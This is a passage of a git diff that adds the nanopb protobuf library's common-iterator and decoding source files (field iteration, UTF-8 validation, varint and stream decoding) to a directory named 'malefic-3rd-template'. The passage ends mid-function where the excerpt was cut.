formats have the following fields: + * - lowest 2 bits tell the amount of words in the descriptor (2^n words) + * - bits 2..7 give the lowest bits of tag number. + * - bits 8..15 give the field type. + */ + uint32_t prev_descriptor = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + pb_type_t prev_type = (prev_descriptor >> 8) & 0xFF; + pb_size_t descriptor_len = (pb_size_t)(1 << (prev_descriptor & 3)); + + /* Add to fields. + * The cast to pb_size_t is needed to avoid -Wconversion warning. + * Because the data is is constants from generator, there is no danger of overflow. + */ + iter->field_info_index = (pb_size_t)(iter->field_info_index + descriptor_len); + iter->required_field_index = (pb_size_t)(iter->required_field_index + (PB_HTYPE(prev_type) == PB_HTYPE_REQUIRED)); + iter->submessage_index = (pb_size_t)(iter->submessage_index + PB_LTYPE_IS_SUBMSG(prev_type)); + } +} + +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message) +{ + memset(iter, 0, sizeof(*iter)); + + iter->descriptor = desc; + iter->message = message; + + return load_descriptor_values(iter); +} + +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension) +{ + const pb_msgdesc_t *msg = (const pb_msgdesc_t*)extension->type->arg; + bool status; + + uint32_t word0 = PB_PROGMEM_READU32(msg->field_info[0]); + if (PB_ATYPE(word0 >> 8) == PB_ATYPE_POINTER) + { + /* For pointer extensions, the pointer is stored directly + * in the extension structure. This avoids having an extra + * indirection. */ + status = pb_field_iter_begin(iter, msg, &extension->dest); + } + else + { + status = pb_field_iter_begin(iter, msg, extension->dest); + } + + iter->pSize = &extension->found; + return status; +} + +bool pb_field_iter_next(pb_field_iter_t *iter) +{ + advance_iterator(iter); + (void)load_descriptor_values(iter); + return iter->index != 0; +} + +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag) +{ + if (iter->tag == tag) + { + return true; /* Nothing to do, correct field already. */ + } + else if (tag > iter->descriptor->largest_tag) + { + return false; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + if (tag < iter->tag) + { + /* Fields are in tag number order, so we know that tag is between + * 0 and our start position. Setting index to end forces + * advance_iterator() call below to restart from beginning. */ + iter->index = iter->descriptor->field_count; + } + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for tag number match */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (((fieldinfo >> 2) & 0x3F) == (tag & 0x3F)) + { + /* Good candidate, check further */ + (void)load_descriptor_values(iter); + + if (iter->tag == tag && + PB_LTYPE(iter->type) != PB_LTYPE_EXTENSION) + { + /* Found it */ + return true; + } + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +bool pb_field_iter_find_extension(pb_field_iter_t *iter) +{ + if (PB_LTYPE(iter->type) == PB_LTYPE_EXTENSION) + { + return true; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for field type */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (PB_LTYPE((fieldinfo >> 8) & 0xFF) == PB_LTYPE_EXTENSION) + { + return load_descriptor_values(iter); + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +static void *pb_const_cast(const void *p) +{ + /* Note: this casts away const, in order to use the common field iterator + * logic for both encoding and decoding. The cast is done using union + * to avoid spurious compiler warnings. */ + union { + void *p1; + const void *p2; + } t; + t.p2 = p; + return t.p1; +} + +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message) +{ + return pb_field_iter_begin(iter, desc, pb_const_cast(message)); +} + +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension) +{ + return pb_field_iter_begin_extension(iter, (pb_extension_t*)pb_const_cast(extension)); +} + +bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field) +{ + if (field->data_size == sizeof(pb_callback_t)) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + + if (pCallback != NULL) + { + if (istream != NULL && pCallback->funcs.decode != NULL) + { + return pCallback->funcs.decode(istream, field, &pCallback->arg); + } + + if (ostream != NULL && pCallback->funcs.encode != NULL) + { + return pCallback->funcs.encode(ostream, field, &pCallback->arg); + } + } + } + + return true; /* Success, but didn't do anything */ + +} + +#ifdef PB_VALIDATE_UTF8 + +/* This function checks whether a string is valid UTF-8 text. + * + * Algorithm is adapted from https://www.cl.cam.ac.uk/~mgk25/ucs/utf8_check.c + * Original copyright: Markus Kuhn 2005-03-30 + * Licensed under "Short code license", which allows use under MIT license or + * any compatible with it. + */ + +bool pb_validate_utf8(const char *str) +{ + const pb_byte_t *s = (const pb_byte_t*)str; + while (*s) + { + if (*s < 0x80) + { + /* 0xxxxxxx */ + s++; + } + else if ((s[0] & 0xe0) == 0xc0) + { + /* 110XXXXx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[0] & 0xfe) == 0xc0) /* overlong? */ + return false; + else + s += 2; + } + else if ((s[0] & 0xf0) == 0xe0) + { + /* 1110XXXX 10Xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[0] == 0xe0 && (s[1] & 0xe0) == 0x80) || /* overlong? */ + (s[0] == 0xed && (s[1] & 0xe0) == 0xa0) || /* surrogate? */ + (s[0] == 0xef && s[1] == 0xbf && + (s[2] & 0xfe) == 0xbe)) /* U+FFFE or U+FFFF? */ + return false; + else + s += 3; + } + else if ((s[0] & 0xf8) == 0xf0) + { + /* 11110XXX 10XXxxxx 10xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[3] & 0xc0) != 0x80 || + (s[0] == 0xf0 && (s[1] & 0xf0) == 0x80) || /* overlong? */ + (s[0] == 0xf4 && s[1] > 0x8f) || s[0] > 0xf4) /* > U+10FFFF? */ + return false; + else + s += 4; + } + else + { + return false; + } + } + + return true; +} + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.h b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.h new file mode 100644 index 0000000..58aa90f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.h @@ -0,0 +1,49 @@ +/* pb_common.h: Common support functions for pb_encode.c and pb_decode.c. + * These functions are rarely needed by applications directly. + */ + +#ifndef PB_COMMON_H_INCLUDED +#define PB_COMMON_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initialize the field iterator structure to beginning. + * Returns false if the message type is empty. */ +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message); + +/* Get a field iterator for extension field. */ +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension); + +/* Same as pb_field_iter_begin(), but for const message pointer. + * Note that the pointers in pb_field_iter_t will be non-const but shouldn't + * be written to when using these functions. */ +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message); +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension); + +/* Advance the iterator to the next field. + * Returns false when the iterator wraps back to the first field. */ +bool pb_field_iter_next(pb_field_iter_t *iter); + +/* Advance the iterator until it points at a field with the given tag. + * Returns false if no such field exists. */ +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag); + +/* Find a field with type PB_LTYPE_EXTENSION, or return false if not found. + * There can be only one extension range field per message. */ +bool pb_field_iter_find_extension(pb_field_iter_t *iter); + +#ifdef PB_VALIDATE_UTF8 +/* Validate UTF-8 text string */ +bool pb_validate_utf8(const char *s); +#endif + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif + diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.c b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.c new file mode 100644 index 0000000..b3f96fc --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.c @@ -0,0 +1,1728 @@ +/* pb_decode.c -- decode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +#include "pb.h" +#include "pb_decode.h" +#include "pb_common.h" + +/************************************** + * Declarations internal to this file * + **************************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof); +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size); +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field); +static bool checkreturn default_extension_decoder(pb_istream_t *stream, pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type); +static bool checkreturn decode_extension(pb_istream_t *stream, uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension); +static bool pb_field_set_to_default(pb_field_iter_t *field); +static bool pb_message_set_to_defaults(pb_field_iter_t *iter); +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_skip_varint(pb_istream_t *stream); +static bool checkreturn pb_skip_string(pb_istream_t *stream); + +#ifdef PB_ENABLE_MALLOC +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size); +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field); +static bool checkreturn pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field); +static void pb_release_single_field(pb_field_iter_t *field); +#endif + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +typedef struct { + uint32_t bitfield[(PB_MAX_REQUIRED_FIELDS + 31) / 32]; +} pb_fields_seen_t; + +/******************************* + * pb_istream_t implementation * + *******************************/ + +static bool checkreturn buf_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + const pb_byte_t *source = (const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + count; + + if (buf != NULL) + { + memcpy(buf, source, count * sizeof(pb_byte_t)); + } + + return true; +} + +bool checkreturn pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count) +{ + if (count == 0) + return true; + +#ifndef PB_BUFFER_ONLY + if (buf == NULL && stream->callback != buf_read) + { + /* Skip input bytes */ + pb_byte_t tmp[16]; + while (count > 16) + { + if (!pb_read(stream, tmp, 16)) + return false; + + count -= 16; + } + + return pb_read(stream, tmp, count); + } +#endif + + if (stream->bytes_left < count) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!buf_read(stream, buf, count)) + return false; +#endif + + if (stream->bytes_left < count) + stream->bytes_left = 0; + else + stream->bytes_left -= count; + + return true; +} + +/* Read a single byte from input stream. buf may not be NULL. + * This is an optimization for the varint decoding. */ +static bool checkreturn pb_readbyte(pb_istream_t *stream, pb_byte_t *buf) +{ + if (stream->bytes_left == 0) + PB_RETURN_ERROR(stream, "end-of-stream"); + +#ifndef PB_BUFFER_ONLY + if (!stream->callback(stream, buf, 1)) + PB_RETURN_ERROR(stream, "io error"); +#else + *buf = *(const pb_byte_t*)stream->state; + stream->state = (pb_byte_t*)stream->state + 1; +#endif + + stream->bytes_left--; + + return true; +} + +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen) +{ + pb_istream_t stream; + /* Cast away the const from buf without a compiler error. We are + * careful to use it only in a const manner in the callbacks. + */ + union { + void *state; + const void *c_state; + } state; +#ifdef PB_BUFFER_ONLY + stream.callback = NULL; +#else + stream.callback = &buf_read; +#endif + state.c_state = buf; + stream.state = state.state; + stream.bytes_left = msglen; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +/******************** + * Helper functions * + ********************/ + +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof) +{ + pb_byte_t byte; + uint32_t result; + + if (!pb_readbyte(stream, &byte)) + { + if (stream->bytes_left == 0) + { + if (eof) + { + *eof = true; + } + } + + return false; + } + + if ((byte & 0x80) == 0) + { + /* Quick case, 1 byte value */ + result = byte; + } + else + { + /* Multibyte case */ + uint_fast8_t bitpos = 7; + result = byte & 0x7F; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 32) + { + /* Note: The varint could have trailing 0x80 bytes, or 0xFF for negative. */ + pb_byte_t sign_extension = (bitpos < 63) ? 0xFF : 0x01; + bool valid_extension = ((byte & 0x7F) == 0x00 || + ((result >> 31) != 0 && byte == sign_extension)); + + if (bitpos >= 64 || !valid_extension) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + } + else if (bitpos == 28) + { + if ((byte & 0x70) != 0 && (byte & 0x78) != 0x78) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + result |= (uint32_t)(byte & 0x0F) << bitpos; + } + else + { + result |= (uint32_t)(byte & 0x7F) << bitpos; + } + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + } + + *dest = result; + return true; +} + +bool checkreturn pb_decode_varint32(pb_istream_t *stream, uint32_t *dest) +{ + return pb_decode_varint32_eof(stream, dest, NULL); +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_decode_varint(pb_istream_t *stream, uint64_t *dest) +{ + pb_byte_t byte; + uint_fast8_t bitpos = 0; + uint64_t result = 0; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 63 && (byte & 0xFE) != 0) + PB_RETURN_ERROR(stream, "varint overflow"); + + result |= (uint64_t)(byte & 0x7F) << bitpos; + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + + *dest = result; + return true; +} +#endif + +bool checkreturn pb_skip_varint(pb_istream_t *stream) +{ + pb_byte_t byte; + do + { + if (!pb_read(stream, &byte, 1)) + return false; + } while (byte & 0x80); + return true; +} + +bool checkreturn pb_skip_string(pb_istream_t *stream) +{ + uint32_t length; + if (!pb_decode_varint32(stream, &length)) + return false; + + if ((size_t)length != length) + { + PB_RETURN_ERROR(stream, "size too large"); + } + + return pb_read(stream, NULL, (size_t)length); +} + +bool checkreturn pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof) +{ + uint32_t temp; + *eof = false; + *wire_type = (pb_wire_type_t) 0; + *tag = 0; + + if (!pb_decode_varint32_eof(stream, &temp, eof)) + { + return false; + } + + *tag = temp >> 3; + *wire_type = (pb_wire_type_t)(temp & 7); + return true; +} + +bool checkreturn pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type) +{ + switch (wire_type) + { + case PB_WT_VARINT: return pb_skip_varint(stream); + case PB_WT_64BIT: return pb_read(stream, NULL, 8); + case PB_WT_STRING: return pb_skip_string(stream); + case PB_WT_32BIT: return pb_read(stream, NULL, 4); + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Read a raw value to buffer, for the purpose of passing it to callback as + * a substream. Size is maximum size on call, and actual size on return. + */ +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size) +{ + size_t max_size = *size; + switch (wire_type) + { + case PB_WT_VARINT: + *size = 0; + do + { + (*size)++; + if (*size > max_size) + PB_RETURN_ERROR(stream, "varint overflow"); + + if (!pb_read(stream, buf, 1)) + return false; + } while (*buf++ & 0x80); + return true; + + case PB_WT_64BIT: + *size = 8; + return pb_read(stream, buf, 8); + + case PB_WT_32BIT: + *size = 4; + return pb_read(stream, buf, 4); + + case PB_WT_STRING: + /* Calling read_raw_value with a PB_WT_STRING is an error. + * Explicitly handle this case and fallthrough to default to avoid + * compiler warnings. + */ + + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Decode string length from stream and return a substream with limited length. + * Remember to close the substream using pb_close_string_substream(). + */ +bool checkreturn pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + uint32_t size; + if (!pb_decode_varint32(stream, &size)) + return false; + + *substream = *stream; + if (substream->bytes_left < size) + PB_RETURN_ERROR(stream, "parent stream too short"); + + substream->bytes_left = (size_t)size; + stream->bytes_left -= (size_t)size; + return true; +} + +bool checkreturn pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + if (substream->bytes_left) { + if (!pb_read(substream, NULL, substream->bytes_left)) + return false; + } + + stream->state = substream->state; + +#ifndef PB_NO_ERRMSG + stream->errmsg = substream->errmsg; +#endif + return true; +} + +/************************* + * Decode a single field * + *************************/ + +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_varint(stream, field); + + case PB_LTYPE_FIXED32: + if (wire_type != PB_WT_32BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_decode_fixed32(stream, field->pData); + + case PB_LTYPE_FIXED64: + if (wire_type != PB_WT_64BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float)) + { + return pb_decode_double_as_float(stream, (float*)field->pData); + } +#endif + +#ifdef PB_WITHOUT_64BIT + PB_RETURN_ERROR(stream, "invalid data_size"); +#else + return pb_decode_fixed64(stream, field->pData); +#endif + + case PB_LTYPE_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bytes(stream, field); + + case PB_LTYPE_STRING: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_OPTIONAL: + if (field->pSize != NULL) + *(bool*)field->pSize = true; + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array */ + bool status = true; + pb_istream_t substream; + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left > 0 && *size < field->array_size) + { + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + (*size)++; + field->pData = (char*)field->pData + field->data_size; + } + + if (substream.bytes_left != 0) + PB_RETURN_ERROR(stream, "array overflow"); + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Repeated field */ + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if ((*size)++ >= field->array_size) + PB_RETURN_ERROR(stream, "array overflow"); + + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && + *(pb_size_t*)field->pSize != field->tag) + { + /* We memset to zero so that any callbacks are set to NULL. + * This is because the callbacks might otherwise have values + * from some other union field. + * If callbacks are needed inside oneof field, use .proto + * option submsg_callback to have a separate callback function + * that can set the fields before submessage is decoded. + * pb_dec_submessage() will set any default values. */ + memset(field->pData, 0, (size_t)field->data_size); + + /* Set default values for the submessage fields. */ + if (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL) + { + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + } + *(pb_size_t*)field->pSize = field->tag; + + return decode_basic_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +#ifdef PB_ENABLE_MALLOC +/* Allocate storage for the field and store the pointer at iter->pData. + * array_size is the number of entries to reserve in an array. + * Zero size is not allowed, use pb_free() for releasing. + */ +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size) +{ + void *ptr = *(void**)pData; + + if (data_size == 0 || array_size == 0) + PB_RETURN_ERROR(stream, "invalid size"); + +#ifdef __AVR__ + /* Workaround for AVR libc bug 53284: http://savannah.nongnu.org/bugs/?53284 + * Realloc to size of 1 byte can cause corruption of the malloc structures. + */ + if (data_size == 1 && array_size == 1) + { + data_size = 2; + } +#endif + + /* Check for multiplication overflows. + * This code avoids the costly division if the sizes are small enough. + * Multiplication is safe as long as only half of bits are set + * in either multiplicand. + */ + { + const size_t check_limit = (size_t)1 << (sizeof(size_t) * 4); + if (data_size >= check_limit || array_size >= check_limit) + { + const size_t size_max = (size_t)-1; + if (size_max / array_size < data_size) + { + PB_RETURN_ERROR(stream, "size too large"); + } + } + } + + /* Allocate new or expand previous allocation */ + /* Note: on failure the old pointer will remain in the structure, + * the message must be freed by caller also on error return. */ + ptr = pb_realloc(ptr, array_size * data_size); + if (ptr == NULL) + PB_RETURN_ERROR(stream, "realloc failed"); + + *(void**)pData = ptr; + return true; +} + +/* Clear a newly allocated item in case it contains a pointer, or is a submessage. */ +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + *(void**)pItem = NULL; + } + else if (PB_LTYPE_IS_SUBMSG(field->type)) + { + /* We memset to zero so that any callbacks are set to NULL. + * Default values will be set by pb_dec_submessage(). */ + memset(pItem, 0, field->data_size); + } +} +#endif + +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifndef PB_ENABLE_MALLOC + PB_UNUSED(wire_type); + PB_UNUSED(field); + PB_RETURN_ERROR(stream, "no malloc support"); +#else + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + case PB_HTYPE_OPTIONAL: + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && *(void**)field->pField != NULL) + { + /* Duplicate field, have to release the old allocation first. */ + /* FIXME: Does this work correctly for oneofs? */ + pb_release_single_field(field); + } + + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = field->tag; + } + + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + /* pb_dec_string and pb_dec_bytes handle allocation themselves */ + field->pData = field->pField; + return decode_basic_field(stream, wire_type, field); + } + else + { + if (!allocate_field(stream, field->pField, field->data_size, 1)) + return false; + + field->pData = *(void**)field->pField; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array, multiple items come in at once. */ + bool status = true; + pb_size_t *size = (pb_size_t*)field->pSize; + size_t allocated_size = *size; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left) + { + if (*size == PB_SIZE_MAX) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = "too many array entries"; +#endif + status = false; + break; + } + + if ((size_t)*size + 1 > allocated_size) + { + /* Allocate more storage. This tries to guess the + * number of remaining entries. Round the division + * upwards. */ + size_t remain = (substream.bytes_left - 1) / field->data_size + 1; + if (remain < PB_SIZE_MAX - allocated_size) + allocated_size += remain; + else + allocated_size += 1; + + if (!allocate_field(&substream, field->pField, field->data_size, allocated_size)) + { + status = false; + break; + } + } + + /* Decode the array entry */ + field->pData = *(char**)field->pField + field->data_size * (*size); + if (field->pData == NULL) + { + /* Shouldn't happen, but satisfies static analyzers */ + status = false; + break; + } + initialize_pointer_field(field->pData, field); + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + + (*size)++; + } + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Normal repeated field, i.e. only one item at a time. */ + pb_size_t *size = (pb_size_t*)field->pSize; + + if (*size == PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "too many array entries"); + + if (!allocate_field(stream, field->pField, field->data_size, (size_t)(*size + 1))) + return false; + + field->pData = *(char**)field->pField + field->data_size * (*size); + (*size)++; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +#endif +} + +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + if (!field->descriptor->field_callback) + return pb_skip_field(stream, wire_type); + + if (wire_type == PB_WT_STRING) + { + pb_istream_t substream; + size_t prev_bytes_left; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + do + { + prev_bytes_left = substream.bytes_left; + if (!field->descriptor->field_callback(&substream, NULL, field)) + { + PB_SET_ERROR(stream, substream.errmsg ? substream.errmsg : "callback failed"); + return false; + } + } while (substream.bytes_left > 0 && substream.bytes_left < prev_bytes_left); + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return true; + } + else + { + /* Copy the single scalar value to stack. + * This is required so that we can limit the stream length, + * which in turn allows to use same callback for packed and + * not-packed fields. */ + pb_istream_t substream; + pb_byte_t buffer[10]; + size_t size = sizeof(buffer); + + if (!read_raw_value(stream, wire_type, buffer, &size)) + return false; + substream = pb_istream_from_buffer(buffer, size); + + return field->descriptor->field_callback(&substream, NULL, field); + } +} + +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifdef PB_ENABLE_MALLOC + /* When decoding an oneof field, check if there is old data that must be + * released first. */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (!pb_release_union_field(stream, field)) + return false; + } +#endif + + switch (PB_ATYPE(field->type)) + { + case PB_ATYPE_STATIC: + return decode_static_field(stream, wire_type, field); + + case PB_ATYPE_POINTER: + return decode_pointer_field(stream, wire_type, field); + + case PB_ATYPE_CALLBACK: + return decode_callback_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_decoder(pb_istream_t *stream, + pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + if (iter.tag != tag || !iter.message) + return true; + + extension->found = true; + return decode_field(stream, wire_type, &iter); +} + +/* Try to decode an unknown field as an extension field. Tries each extension + * decoder in turn, until one of them handles the field or loop ends. */ +static bool checkreturn decode_extension(pb_istream_t *stream, + uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension) +{ + size_t pos = stream->bytes_left; + + while (extension != NULL && pos == stream->bytes_left) + { + bool status; + if (extension->type->decode) + status = 